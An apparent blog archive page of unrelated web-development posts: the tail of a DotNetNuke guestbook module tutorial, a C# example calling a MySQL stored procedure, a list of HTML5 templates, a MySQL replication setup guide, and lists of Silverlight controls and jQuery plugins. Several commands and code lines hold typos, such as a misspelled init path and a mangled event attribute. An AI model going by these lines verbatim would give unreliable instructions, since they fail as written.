    • Inserts items into the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameters (module ID, name, email, message) to the “YourCompany_GuestBook_Insert” method in the DataProvider.vb file.
  • GuestBook_Delete
    • Deletes items from the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameter (ID) to the “YourCompany_GuestBook_Delete” method in the DataProvider.vb file.
  • GuestBook_GetAll
    • Gets a recordset from the database. You pass a “ModuleId” parameter to this method. The method calls the “YourCompany_GuestBook_GetAll” method in the DataProvider.vb file and returns a “GuestBookInfo” object filled with data.
  • GuestBook_Update
    • Updates the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameters (ID, module ID, name, email, message, date entered) to the “YourCompany_GuestBook_Update” method in the DataProvider.vb file.

image063.jpg

A Lot Of Stuff Was Deleted

You may notice that a lot of code was deleted out of the “GuestBookController.vb” file. Some of this were the optional interfaces that handle exporting data and searching. These are interfaces that you will want to read about and implement in your modules. However, they are not required, and they are left out for simplicity.

A lot of code was eliminated by using code that is exclusive to ASP.NET 2.0 and incompatible with ASP.NET 1.1. ASP.NET 2.0 really saves you a lot of work and requires less code.

The Presentation Layer (UI)

From this point on, the files that need to be altered reside in the “…/DesktopModules/GuestBook” directory.

To build the Presentation Layer, we will:

  • Alter the “localization” (.resx) files.
  • Alter “controls” and their “code-behind” files:
    • EditGuestBook.ascx
    • Settings.ascx
    • ViewGuestBook.ascx

And that’s it! The module will then be complete.

image064.jpg

Alter the Localization Files

Localization allows you to create labels that can have their text changed (for example, to change text from English to Spanish) by simply changing a “resource” file that has a “.resx” extension.

Double click on “EditGuestBook.ascx.resx” to open it.

image065.jpg

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

image066.jpg

Double click on “Settings.ascx.resx” to open it.

image067.jpg

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

image068.jpg

Double click on “ViewGuestBook.ascx.resx” to open it.

image069.jpg

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

image070.jpg

Alter the Controls

The module consists of three controls (and their “code-behind” files):

  • EditGuestBook.ascx
    • EditGuestBook.ascx.vb
  • Settings.ascx
    • Settings.ascx.vb
  • ViewGuestBook.ascx
    • ViewGuestBook.ascx.vb

image071.jpg

(A screen shot from the module definition that was created in the DotNetNuke site in the early step of the tutorial.)

Right-click on “EditGuestBook.ascx” and select “View Markup“:

image072.jpg

Replace all the code with this code (save and close the file when done):

<%@ Control language="VB" 
     Inherits="YourCompany.Modules.GuestBook.EditGuestBook" 
     CodeFile="EditGuestBook.ascx.vb" 
     AutoEventWireup="true"%>
<%@ Register TagPrefix="dnn" TagName="Label" 
     Src="~/controls/LabelControl.ascx" %>
<dnn:label id="lblContent" runat="server" 
     controlname="lblContent" suffix=":">
</dnn:label>

<asp:ObjectDataSource ID="ObjectDataSource_Tasks" 
     runat="server" 
     DataObjectTypeName="YourCompany.Modules.
                         GuestBook.GuestBookInfo"
DeleteMethod="GuestBook_Delete" 
    InsertMethod="GuestBook_Insert" 
    OldValuesParameterFormatString="original_{0}"
    OnInit="Page_Load" SelectMethod="GuestBook_GetAll" 
    TypeName="YourCompany.Modules.GuestBook.GuestBookController"
    UpdateMethod="GuestBook_Update">
<SelectParameters>
  <asp:Parameter DefaultValue="00" Name="ModuleId" Type="Int32" />
</SelectParameters>
</asp:ObjectDataSource>

<asp:GridView ID="GridView1" runat="server" 
    AllowPaging="True" AutoGenerateColumns="False" 
    DataSourceID="ObjectDataSource_Tasks" 
    DataKeyNames="ID">
<Columns>

<asp:CommandField ShowDeleteButton="True" 
        ShowEditButton="True" />
<asp:BoundField DataField="ID" 
        HeaderText="ID" Visible="False" />
<asp:BoundField DataField="ModuleID" 
        HeaderText="ModuleID" Visible="False" />
<asp:BoundField DataField="Name" 
        HeaderText="Name" SortExpression="Name" />
<asp:BoundField DataField="Message" 
        HeaderText="Message" SortExpression="Message" />
<asp:BoundField DataField="Email" HeaderText="Email" />
<asp:BoundField ApplyFormatInEditMode="True" 
        DataField="DateEntered" DataFormatString="{0:d}"
HeaderText="Date" HtmlEncode="False" 
        SortExpression="DateEntered" />
</Columns>
</asp:GridView>

Right-click on “Settings.ascx” and select “View Markup“:

image073.jpg

Replace all the code with this code (save and close the file when done):

<%@ Control Language="VB" AutoEventWireup="false" 
       CodeFile="Settings.ascx.vb" 
       Inherits="YourCompany.Modules.GuestBook.Settings" %>
<%@ Register TagPrefix="dnn" TagName="Label" 
       Src="~/controls/LabelControl.ascx" %>

<dnn:label id="lblshowform" runat="server" 
       controlname="txtshowform" suffix=":">
</dnn:label>

<br />

<asp:DropDownList ID="DropDownList1" runat="server" 
       AutoPostBack="True" 
       nSelectedIndexChanged="DropDownList1_SelectedIndexChanged">
  <asp:ListItem Selected="True">Yes</asp:ListItem>
  <asp:ListItem>No</asp:ListItem>
</asp:DropDownList>

Right-click on “ViewGuestBook.ascx” and select “View Markup“:

image074.jpg

Replace all the code with this code (save and close the file when done):

<%@ Control Language="VB" 
     Inherits="YourCompany.Modules.GuestBook.ViewGuestBook" 
     CodeFile="ViewGuestBook.ascx.vb"
     AutoEventWireup="true" %>
<%@ Register TagPrefix="dnn" TagName="Label" 
     Src="~/controls/LabelControl.ascx" %>
<asp:ObjectDataSource ID="ObjectDataSource_Tasks" 
     runat="server" 
     DataObjectTypeName="YourCompany.Modules.
                         GuestBook.GuestBookInfo"
     DeleteMethod="GuestBook_Delete" 
     InsertMethod="GuestBook_Insert" 
     OldValuesParameterFormatString="original_{0}"
     SelectMethod="GuestBook_GetAll" 
     TypeName="YourCompany.Modules.
               GuestBook.GuestBookController"
     UpdateMethod="GuestBook_Update" 
     OnInit="Page_Load">
<SelectParameters>
  <asp:Parameter DefaultValue="00" 
          Name="ModuleId" Type="Int32" />
</SelectParameters>
</asp:ObjectDataSource>

<asp:GridView ID="GridView1" runat="server" 
       DataSourceID="ObjectDataSource_Tasks"
       AutoGenerateColumns="False" 
       AllowPaging="True" HorizontalAlign="Center">
<Columns>
<asp:BoundField DataField="Name" 
       HeaderText="Name" SortExpression="Name" />
<asp:BoundField DataField="Message" 
       HeaderText="Message" 
       SortExpression="Message" />
<asp:BoundField ApplyFormatInEditMode="True" 
       DataField="DateEntered" DataFormatString="{0:d}"
HeaderText="Date" 
       SortExpression="DateEntered" 
       HtmlEncode="False" />
</Columns>
<EmptyDataTemplate>
There are no entries.
</EmptyDataTemplate>
</asp:GridView>
<br />
<center>
<dnn:Label ID="lblAddMessage" runat="server" 
       ControlName="lblAddMessage" Suffix=":">
</dnn:Label>
</center>
<br />
<asp:FormView ID="FormView1" runat="server" 
      DataSourceID="ObjectDataSource_Tasks" 
      DefaultMode="Insert" HorizontalAlign="Center">
<InsertItemTemplate>
<table cellpadding="2" cellspacing="5" 
          style="width: 50%" align="center">
<tr>
<td align="right" style="width: 4px">
<asp:Label ID="Label1" 
   runat="server" Text="Name"></asp:Label></td>
<td style="width: 100px">
<asp:TextBox ID="NameTextBox" runat="server" 
     Text='<%# Bind("Name") %>' 
     Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" style="width: 4px; height: 23px">
<asp:Label ID="Label3" runat="server" 
         Text="Email"></asp:Label></td>
<td style="width: 100px; height: 23px">
<asp:TextBox ID="EmailTextBox" runat="server" 
        Text='<%# Bind("Email") %>' 
        Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" style="width: 4px; height: 21px">
<asp:Label ID="Label2" runat="server" 
        Text="Message"></asp:Label></td>
<td style="width: 100px; height: 21px">
<asp:TextBox ID="MessageTextBox" 
        runat="server" EnableViewState="False" 
        MaxLength="250" Rows="2" 
        Text='<%# Bind("Message") %>' 
        TextMode="MultiLine" 
        Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" colspan="2" style="height: 21px">
<asp:Button ID="InsertButton" runat="server" 
        Text="Submit" CommandName="Insert" /></td>
</tr>
</table>
<br />

</InsertItemTemplate>
</asp:FormView>

Right-click on “EditGuestBook.ascx” and select “View Code“:

image075.jpg

Replace all the code with this code (save and close the file when done.):

 Collapse | Copy Code
Imports DotNetNuke
Imports System.Web.UI
Imports System.Collections.Generic
Imports System.Reflection
Imports DotNetNuke.Entities.Modules

Namespace YourCompany.Modules.GuestBook
Partial Class EditGuestBook Inherits PortalModuleBase
    Protected Sub Page_Load(ByVal sender As Object, _
              ByVal e As System.EventArgs)
        Try
        Catch exc As Exception
            Exceptions.ProcessModuleLoadException(Me, exc)
        End Try
    End Sub

    Protected Sub SetModuleId(ByVal sender As Object, _
              ByVal e As System.Web.UI.WebControls._
              ObjectDataSourceSelectingEventArgs) _
              Handles ObjectDataSource_Tasks.Selecting
        e.InputParameters("ModuleId") = ModuleId.ToString
    End Sub
End Class
End Namespace

Right-click on “Settings.ascx” and select “View Code“:

image076.jpg

Replace all the code with this code (save and close the file when done):

Imports System
Imports System.Web.UI
Imports DotNetNuke
Imports DotNetNuke.Entities.Modules
Imports DotNetNuke.Services.Exceptions
Namespace YourCompany.Modules.GuestBook

Partial Class Settings Inherits ModuleSettingsBase
    Public Overrides Sub LoadSettings()
        Try
            If (Page.IsPostBack = False) Then
                If (Not (CType(TabModuleSettings(_
                       "showform"), _
                       String)) Is Nothing) Then
                    Me.DropDownList1.SelectedValue_
                       = CType(TabModuleSettings(_
                       "showform"), String)
                End If
            End If
        Catch exc As Exception
            Exceptions.ProcessModuleLoadException(Me, exc)
        End Try
    End Sub

    Protected Sub DropDownList1_SelectedIndexChanged(ByVal_
           sender As Object, ByVal e As EventArgs)
        Dim objModules As ModuleController = _
                 New ModuleController

        If (Me.DropDownList1.SelectedValue = "Yes") Then
            objModules.UpdateTabModuleSetting(_
                 TabModuleId, "showform", "Yes")
        Else
            objModules.UpdateTabModuleSetting(_
               TabModuleId, "showform", "No")
        End If
    End Sub
End Class
End Namespace

Right-click on “ViewGuestBook.ascx” and select “View Code“:

Replace all the code with this code (save and close the file when done):

image077.jpg

 Collapse | Copy Code
Imports DotNetNuke
Imports System.Web.UI
Imports System.Collections.Generic
Imports System.Reflection
Imports DotNetNuke.Entities.Modules
Namespace YourCompany.Modules.GuestBook

Partial Class ViewGuestBook
  Inherits Entities.Modules.PortalModuleBase
  Implements Entities.Modules.IActionable

    Public ReadOnly Property ModuleActions() _
          As Entities.Modules.Actions._
          ModuleActionCollection Implements _
          Entities.Modules.IActionable.ModuleActions
        Get
            Dim Actions As New Entities.Modules_
                  .Actions.ModuleActionCollection
            Actions.Add(GetNextActionID, _
                  Localization.GetString(_
                  Entities.Modules.Actions._
                  ModuleActionType.EditContent, _
                  LocalResourceFile), _
                  Entities.Modules.Actions._
                  ModuleActionType.EditContent, _
                  "", "", EditUrl(), False, _
                  Security.SecurityAccessLevel.Edit,_
                  True, False)
            Return Actions
        End Get
    End Property

    Protected Sub Page_Load(ByVal sender _
              As Object, ByVal e As System.EventArgs)
        Try
            Dim objModules As ModuleController_
                       = New ModuleController
            If Not Page.IsPostBack Then
                If (Not (CType(Settings("showform"), _
                         String)) Is Nothing) Then
                    If (CType(Settings("showform"), _
                              String) = "No") Then
                        ' Do not allow messages to be added
                        FormView1.Visible = False
                        lblAddMessage.Visible = False
                    End If
                End If
            Else
                Me.GridView1.DataBind()
            End If
        Catch ex As Exception
            Exceptions.ProcessModuleLoadException(Me, ex)
        End Try
    End Sub

    Protected Sub NewItem(ByVal sender As Object, _
              ByVal e As System.Web.UI.WebControls._
              FormViewInsertEventArgs) _
              Handles FormView1.ItemInserting
        e.Values.Item("ID") = 0
        e.Values.Item("ModuleId") = ModuleId.ToString()
        e.Values.Item("DateEntered") = _
              DateTime.Now.ToShortDateString
    End Sub

    Protected Sub SetModuleID(ByVal sender As _
              Object, ByVal e As System.Web.UI._
              WebControls.ObjectDataSourceSelectingEventArgs) _
              Handles ObjectDataSource_Tasks.Selecting
    e.InputParameters("ModuleId") = ModuleId.ToString
    End Sub
End Class
End Namespace

Review

  • Data Access Layer (DAL) (Done)
  • Business Logic Layer (BLL) (Done)
  • Presentation Layer (UI) (Done)

Build The Site

From the toolbar, select Build, then “Build Web Site“:

image078.jpg

The site should build with no errors:

image079.jpg

From the toolbar, select Debug, then Start Without Debugging:

image021.jpg

The website will come up. Click “Guest Book” on the menu bar:

image080.jpg

The module will now show:

image081.jpg

C# to MySQL Stored Procedure using IN and OUT Parameters


This was a really hard task to learn – and unusually difficult in terms of google searching to try and understand the errors I was getting. I hope this helps someone through the initial learning on Specifically Executing Stored Routines on a MySQL Server using IN and OUT Parameters to communicate to the routine. I think this is an important skill to master as you can limit privileges on a shared MySQL account to just what you’ve defined can be executed.

So to get started you will need an account that has “Execute” privileges on a database. Once you have this you’ll want to create a “Stored Routine” which you can then Call from C#. I will show you how

My Routine I’m going to call is:

Code:

DELIMITER $$

CREATE DEFINER=`yourusername`@`%` PROCEDURE `AddThisDevice`(IN ThisMACID VARCHAR(45),IN ThisIP VARCHAR(20), OUT ThisResult VARCHAR(45))
begin
DECLARE myMAC VARCHAR(45) DEFAULT NULL;
select MAC from Devices where MAC = ThisMACID into myMAC;
IF myMAC IS NULL THEN
INSERT INTO Devices (MAC, DeviceIP) VALUES (ThisMACID, ThisIP);
SET ThisResult = “Added”;
ELSE
SET ThisResult = “Exists”;
END IF;
end $$
This simple creates a stored procedure to accept a MAC ID and IP address in the form of VARCHAR, test to see if that MAC already exists in the database and the either Add it and inform back that it was added or otherwise inform that it already exists.

To communicate with this Procedure look at the following C# code.

Code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MySql.Data; // mysql requires
using MySql.Data.MySqlClient; // mysql requires
using System.Net; // Required for MAC and IP routines
using System.Net.NetworkInformation; // Required for MAC and IP Routines
using System.Configuration; // For using App.config
using System.ComponentModel;
using System.Data; // mysql requires

namespace mysql1
{
class Program
{
static void Main(string[] args)
{
string connStr = ConfigurationManager.AppSettings[“connection”];
MySqlConnection myConnection = new MySqlConnection(connStr);

AddDevice(myConnection);

myConnection.Close();
Console.WriteLine(“closed”);

Console.ReadLine();
}

static void AddDevice(MySqlConnection myConnection)
{
try
{
Console.WriteLine(“Trying Connection….”);
if (myConnection.State != ConnectionState.Open)
{
myConnection.Open();
}
Console.WriteLine(“opened.”);
MySqlCommand cmd = new MySqlCommand();
cmd.Connection = myConnection;
cmd.CommandText = “AddThisDevice”;
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.Add(new MySqlParameter(“ThisMACID”, MySqlDbType.VarChar));
cmd.Parameters[“ThisMACID”].Value = GetMACAddress();
cmd.Parameters[“ThisMACID”].Direction = ParameterDirection.Input;
cmd.Parameters.Add(new MySqlParameter(“ThisIP”, MySqlDbType.VarChar));
cmd.Parameters[“ThisIP”].Value = GetActiveIP();
cmd.Parameters[“ThisIP”].Direction = ParameterDirection.Input;
cmd.Parameters.Add(new MySqlParameter(“ThisResult”, MySqlDbType.VarChar));
cmd.Parameters[“ThisResult”].Direction = ParameterDirection.Output;
cmd.ExecuteNonQuery();
Console.WriteLine(“Result: {0}”, cmd.Parameters[“ThisResult”].Value);

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
You can see here that each Parameter needs (3) lines of configuration. You must first define the parameter and its type using the “add” command. Then you need to assign it a value if it’s an “IN” type. Finally you must specify the directionality of the parameter (ie. IN, OUT, INOUT etc).

In the example above GetMACAddress() and GetActiveIP() both simply return strings.

Final piece of knowledge you need is the connection string – specified as connStr. It isn’t visible as in this case I have it residing in AppSettings. This string needs to take on the following format. Add the following in your App.config

Code:

in the “appSettings” section

add key =”connection” value=”server=www.myserveraddr.com;user=myUserName;database=myDatabaseName;port=3306;password=myPasswordForMySQLUser;”
You will need to download the Mysql / C# connector from the MySQL people. You can find that assembly here: http://dev.mysql.com/downloads/connector/net/1.0.html once you have it downloaded and installed – you will need to include minimum mysql.data assembly.

Fresh and Free HTML5 and CSS3 Templates


The first thing web developers consider when they need to create an extremely stylish and trendy website is CSS3 and HTML5. This is because of the functionality and features they offer and why HTML5 and CSS3 are a major topic for web designers.

Taking this into account, we thought to compile another fresh and cool collection of some professional HTML5 and CSS3 templates. So, here we are with 45 free, but fresh, templates that you can download.
So, enjoy this collection and have more fun in making the web experience more pleasurable and gratifying. Let us have a close look!

1. Interio

Demo Download )

 

Interio

 

2. Art School Template

Demo Download )

 

Art School Template

 

3. Folder

Demo Download )

 

Folder

 

4. Template for Business Project

Demo Download )

 

Free Website Template for Business Project

 

5. Nova

Demo Download )

 

Nova HTML template

 

6. CSS3 Seascape Two

Demo Download )

 

CSS3 Seascape two

 

7. Kroft

Demo Download )

 

Kroft

 

8. Thom Sander

Demo Download )

 

Thom Sander

 

9. Scenic Photo

Demo Download )

 

Scenic Photo

 

10. Hatha Yoga

Demo Download )

 

Hatha Yoga

 

11. Connoisseur

Demo Download )

 

Connoisseur

 

12. Point

Demo Download )

 

Point

 

13. Vivid Photo

Demo Download )

 

Vivid Photo

 

14. Pro Soft

Demo Download )

 

Pro Soft

 

15. Photo Style Two

Demo Download )

 

Photo Style Two

 

16. Animated Template for Design Studio

Demo Download )

 

Animated Template for Web Design Studio

 

17. CSS3 Six Dark

Demo Download )

 

CSS3 Six Dark

 

18. Free Website Template with JustSlider

Demo Download )

 

Free Website Template with JustSlider

 

19. Trinity HTML5 Template

Demo Download )

 

Trinity HTML5 Template

 

20. Shinra

Demo Download )

 

Shinra

 

21. Zeni

Demo Download )

 

Zeni

 

22. Modus

Demo Download )

 

Modus

 

23. IMCreatives HTML5 and CSS3 Template

Demo | Download )

 

IMCreatives HTML5 and CSS3 Template

 

24. Template for Food Delivery Project

Demo Download )

 

Free Website Template with jQuery Slider for Food Delivery Project

 

25. Principato HTML5 and CSS Template

Demo Download )

 

 

Principato HTML5 and CSS Template

 

26. Wedding Website Template with jQuery Slider

Demo Download )

 

Free Wedding Website Template with jQuery Slider

 

27. Fascination HTML5 and CSS3 Template

Demo Download )

 

Fascination HTML5 and CSS3 Template

 

28. Template with jQuery Slider for Car Project

Demo Download )

 

Free Website Template with jQuery Slider for Car Project

 

29. AppleGreen HTML5 and CSS3 Template

Demo Download )

 

AppleGreen HTML5 and CSS3 Template

 

30. Template for Exterior Design Project with jQuery Slider

Demo Download )

 

Free Website Template for Exterior Design Project with jQuery Slider

 

31. CatTemplate HTML5 and CSS3 Template

Demo Download )

 

CatTemplate HTML5 and CSS3 Template

 

32. Template for Youth Organization

Demo Download )

 

Free Website Template for Youth Organization:

 

33. KiteSurf HTML5 and CSS3 Template

Demo Download )

 

KiteSurf HTML5 and CSS3 Template

 

34. Template for Law Business

Demo Download )

 

Free Website Template for Law Business

 

35. Template with jQuery Slider for Consulting Business

Demo Download )

 

Free Website Template with jQuery Slider for Consulting Business

 

36. TechnicalLine HTML5 and CSS3 Template

Demo Download )

 

TechnicalLine HTML5 and CSS3 Template

 

37. Template with jQuery Gallery for Music Site

Demo Download )

 

Free Website Template with jQuery Gallery for Music Site

 

38. FreshIdeas HTML5 and CSS3 Template

Demo Download )

 

FreshIdeas HTML5 and CSS3 Template

 

39. HTML5 Charity Center Template

Demo Download )

 

HTML5 Charity Center Template

 

40. ThinkSimple HTML5 and CSS3 Template

Demo Download )

 

ThinkSimple HTML5 and CSS3 Template

 

41. Androidian HTML5 and CSS3 Template

Demo Download )

 

Androidian HTML5 and CSS3 Template

 

42. iPhone Application Template

Demo Download )

 

iPhone Application Template

 

43. RedX HTML5 and CSS3 Template

Demo Download )

 

RedX HTML5 and CSS3 Template

 

44. HTML5 website template for airline company

Demo Download )

 

HTML5 website template for airline company

 

45. Real Estate Website

Demo Download )

 

HTML5 Template – Real Estate Website

 

Set up MySQL database replication


Learn how to have a working, replicated MySQL database so your backup is always current.

You can back up your MySQL database using the built-in dump tool, but the second you do that backup is out of date. Since so many companies and web-based tools rely heavily on databases, it’s crucial that those databases are as up-to-date as possible. One very simple solution is database replication, which keeps a real-time copy of the database on a remote server. With this in place, if something happens to the primary database, it will be much easier to get your database back up and running with current information.

This is what you’ll need to set up MySQL database replication:

  • Two correctly configured MySQL servers
  • Root access and access to the database administrator on both servers
  • Ability to work from the command line

The setup will use two machines: the Master and the Slave. We’ll start with the setup of the Master.

Configure the Master

The first step is to enable MySQL for networking. To do this, open the file /etc/mysql/my.conf, look for the following lines, and uncomment them if they exist:

#skip-networking
#bind-address = 127.0.0.1

If the lines do not exist, you should add them (minus the “#”). Within the same file, we have to make MySQL aware of the database that will be replicated. You can do this with these lines:

log-bin = /var/log/mysql/mysql-bin.log

binlog-do-db=DATABASE_TO_BE_REPLICATED

server-id=1

DATABASE_TO_BE_REPLICATED is the actual name of the database you want to replicate.

The above lines tell MySQL the following:

Line 1: Configures the log file to be used

Line 2: Configures the database to be replicated

Line 3: Configures the machine as the Master

After you add these lines, save the my.conf file and restart MySQL with the command/etc/inid.t/mysqld restart.

You might need to use sudo to issue the above command. Another option for the restarting of the MySQL daemon is using the service command like service mysqld start.

With this configuration complete, it’s time to set up a user for replication privileges. Log on to the Master and issue the command mysql -u root -p. Enter the password for the MySQL admin password. Upon successful authentication, you will be at the MySQL prompt, where you will enter the command GRANT REPLICATION SLAVE ON *.* TO ‘USER’@’%’ IDENTIFIED BY ‘PASSWORD’;. USER is the user who will have replication privileges, and the PASSWORD is that user’s MySQL password.

With that command issued, you must flush the database privileges with the command FLUSH PRIVILEGES;.

Let’s make sure MySQL can see the Master with the command SHOW MASTER STATUS;. This command should list information (including the all-important position number, which will be required for the Slave setup) for the database to be replicated. You need to write down that information, which will look something like this:

File: mysql-bin.00002

Position: 230

Binlog_Do_DB: database_to_be_replicated

Binlog_Ignore_DB:
1 row in set (0.00 sec)

The next step is to retrieve the tables and data from the database to be replicated; in order to do this, the database must be temporarily locked. When the database is locked, it cannot be used, so do this at a time when the database won’t be needed. To lock the database, issue the command FLUSH TABLES WITH READ LOCK;.

You must dump the database that will be copied to the Slave. There used to be a command LOAD DATA FROM MASTER, but that command has been deprecated. So, to get the data, you must do a dump with the command mysqldump -u root -p DATABASE_TO_BE_REPLICATED > DATABASE_TO_BE_REPLICATED.sql where DATABASE_TO_BE_REPLICATED is the name of the actual database being replicated. You’ll be prompted for the MySQL admin password; enter that password, and the dump will process.

Now unlock the tables with the command UNLOCK TABLES; and then quit the MySQL prompt with the command quit.

Copy that database dump file to the Slave (using a USB drive or the scp command) and then restore the database (on the SLAVE) with the command mysql -u root -p DATABASE_TO_BE_REPLICATED < DATABASE_TO_BE_REPLICATED.sql where DATABASE_TO_BE_REPLICATED is the name of the database being replicated.

Configuring the Slave

In order to configure the Slave, open the /etc/mysql/my.conf file, add the following, and save and close that file:

server-id=2

master-host=IP_ADDRESS_OF_MASTER

master-user=USER

master-password=USER_PASSWORD

master-connect-retry=60

replicate-do-db=DATABASE

Where:

  • IP_ADDRESS_OF_MASTER is the actual IP address of the Master server.
  • USER is the database administrator with replication privileges.
  • USER_PASSWORD is the password associated with the USER.
  • DATABASE is the name to be replicated.

This next step requires information returned from the SHOW MASTER STATUS; command that was run. Stop the Slave by issuing these commands:

mysql -u root -p (enter the MySQL admin password)

SLAVE STOP;

You must run the following command:

CHANGE MASTER TO MASTER_HOST=’IP_ADDRESS_OF_MASTER’, MASTER_USER=’USER’, MASTER_PASSWORD=’USER_PASSWORD’, MASTER_LOG_FILE=’mysql-bin.007′, MASTER_LOG_POS=NUMBER;

Where the following applies:

  • IP_ADDRESS_OF_MASTER is the actual IP address of the Master
  • USER is the MySQL admin user
  • USER_PASSWORD is the password for the USER
  • NUMBER is the Position Number reported from the SHOW MASTER STATUS command.

Restart the Slave by issuing the command SLAVE START; and then exit the MySQL prompt with the command quit. Now you can follow these steps to make sure everything is working:

1. Issue the command mysql -u root -p (enter the database admin password).

2. Issue the command SHOW SLAVE STATUS;.

You should see something like this:

Slave_IO_Running: Yes
Slave_SQL_Running: Yes

If all is set to Yes, you now have a working, replicated MySQL database. Congratulations!

Silverlight Controls And Tools


Silverlight, which is used in more websites everyday, has several beautifulfree controls, components & tools that will help you develop websites faster & better.

They are not very easy to find as they are hidden inside the blogs of Silverlight developers or .NET products websites & there are still not so many resources where you can read about Silverlight.

WebResourcesDepot have collected these free Silverlight controls, components & tools to help making your websites brighter.

GOA WinForms

Free Silverlight Controls

Use the standard System.Windows.Form .NET library for both Adobe Flashand Microsoft Silverlight. It allows .NET developers to write standard WinForms applications that will run on these two RIA platforms.

AgDataGrid Suite – Free Silverlight Grid Control

Free Silverlight Grid Control

This free grid control has data grouping, data sorting, row editing, multi-row selection features & many more.

It is a feature-rich & very professional grid solution.

Visifire – Silverlight Charts

Silverlight Charts

Visifire (see WRD post) is one of the most powerful & well-documented open source chart solution that can be found in the net.

It can be used with ASP, ASP.Net, PHP, JSP, ColdFusion, Ruby on Rails or just simple HTML. Animated 2D-3D column charts, bar charts, pie charts & more can be created with it.

SvLite Effects – Silverlight Dynamic Animations

Free Silverlight Effects

This Silverlight effects library is currently in beta (& can be paid in the future).

It has carousel panel, slide show, advanced wipe animations, fade animations and more. Animations can be easily configured & support chaining.

Silverlight.FX – Silverlight Effects Library

Silverlight Effects Library

Effects / transitions in this library are: resize, move, spin, fade, highlight, colorFill, shake, pulsate, crossFade, blinds, slide, and flip.

The download package can be found within the post & there are examples to show you its capabilities.

Silverlight Contrib – Free Silverlight Controls

Free Silverlight Controls

A collection of Silverlight Controls built by the Silverlight developer community.

Current control in the package are:

  • Color picker
  • Menu
  • Gauge
  • Star selector

Controls From Vectorlight

Silverlight Controls

Vectorlight presents many free Silverlight controls including:

  • Calendar
  • Upload
  • Date picker
  • Progress Bar
  • Treeview & more..

Silverlight Nuggets – Free Silverlight Controls

Silverlight Calendar

Lots of free controls that are Silverlight 2 compatible including border, calendar, canvas, checkbox & more..

ComboBox – Free Silverlight Combobox Control

Free Silverlight Dropdown Menu

combobox control that includes templating, data binding, and auto complete functionality.

Silverlight 2 Video Player

Silverlight Video Player

re-sizeable video player with no custom controls. Some features are:

  • Supports streaming media
  • Ability to autostart & show a thumbnail
  • Full screen playback
  • TimeLine marker support

Slide.Show (With Flickr Support)

Silverlight Slideshow

This slideshow can be embedded to any webpage & configures via JavaScript or XML easily.

It can display album and slide data provided by XML, Flickr, or JavaScript & has auto-playback with multiple transitions (e.g. fade, shape, slide, wipe, etc.) support.

Video.Show – Video Community Application

Silverlight Video Show

This is a beautiful Silverlight application that enables anyone to create a video community.

All video is hosted at Silverlight Streaming for free, which gives you 4GB storage and 700 Kbps bandwidth via Microsoft’s worldwide Content Delivery Network.

The application has time-based comments, broad media support & many other features that will show the features of Silverlight from the most basic to the advanced level via the downloadable source code of it.

Silverlight Slideshow

Slideshow For Silverlight
lightweight image slideshow built with Silverlight 1.0.

It supports several transitions effects, has smart image scaling & full screen mode.

Images are defined in a XML file & here is an example of Flickr integration.

Source code is hosted at CodePlex & can be found here.

PageTurn – Silverlight Page Flip

Silverlight Page Flip

A magazine like page flip effect that works very nice.

Images can be flipped with mouse or browsed via the thumbnails.

photoGallery – Silverlight Photo Gallery

Silverlight Photo Gallery

This photo gallery displays upto 12 images & gallery can be configured easilt from an array in a JavaScript file.

agTweener – Silverlight Tweening Engine (Tweener ported)

Silverlight Tween Engine

This Silverlight tweening library is a ported version of Tweener (Flash tween library).

Although it does no have all the features of TweeneragTweener is still very promising.

Silverglobe – Silverlight Globe Map Control

Silverlight Globe
This open source Silverlight controlrenders a global map onto a vector based 3D globe.

The globe can be freely rotated in all directions and geographical locations can be added and selected.

Silverlight Examples With Source By Vectorform

The examples below are produced by Vectorform and all of them can be reached from here. You can find demos for each of them & download the source codes.

Silverlight Carousel

Silverlight Carousel

Silverlight image carousel which rotates when clicked on left or right and displays the big image of the thumbnail clicked.

Silverlight Video Player

Silverlight Media Player

This video player has very simple controls like the play/pause button, sound & the process. It can display full-size videos & can scale to the browser size.

Silverlight Media Viewer

Media Player For Silverlight

This media viewer can show videos, photos & content from RSS feeds.

Silverlight Slide Viewer

Silverlight Slideshow

An easy to navigate slide viewer with the arrows on the sides. It shows you which slide you’re viewing & slides are presented with a reflection effect.

Navigation With Silverlight

Silverlight Navigation

A nice menu with a depth that has a mouse-over effect for every item. And items are presented with a Web 2.0 like reflection effect.

Silverlight Twitter Widget

Silverlight Twitter Widget

This user interface accesses the Twitter API, parses the loaded XML and displays the latest tweets. It also incorporates a custom skinned scrollbar.

Silverlight Tools

These are some free Silverlight tools that will help you develop faster or add a twist to your applications.

Desklighter – Create Exe From Silverlight Apps.

Silverlight To Exe

Desklighter is a windows utility that will create a standalone exe application that renders Silverlight content that is easily portable and accessible.

Silverlight Spy – Detailed XAML Inspection

Silverlight Spy

Silverlight Spy provides detailed inspection of any Silverlight application.

Use the built-in browser to navigate to a web page. Silverlight Spy will automatically pick up any Silverlight application embedded in the page and display the structure of the application in the Explorer.

Moonlight – Silverlight For Unix

Silverlight For Unix

An open source implementation of Silverlight for Unix systems.

Kaxaml – Free XAML Editor

Free XAMl Editor

XAML editor that supports Silverlight & has a snippet gallery. It gives you a “split view” so you can see both your XAML and your endered content.

Do you know any other free Silverlight controls, components or tools? Please share them in the comments.

Best jQuery Plugins


jQuery is a multi-browser JavaScript library designed to simplify the client-side scripting of HTML, make event handling, animation, and Ajax much simpler with an easy-to-use API across various browsers. Over the years jQuery has been blending versatility with extensibility making people witness oodles of changes in the ways it can be written. jQuery plugins as you all know are the javascript frameworks that are best used for designing and development.

These days more and more creative minds are opting for writing jQuery plugins as the genre to help people in web development and designing. Each day we keep coming across many useful jQuery plugins that promise to be if great help.

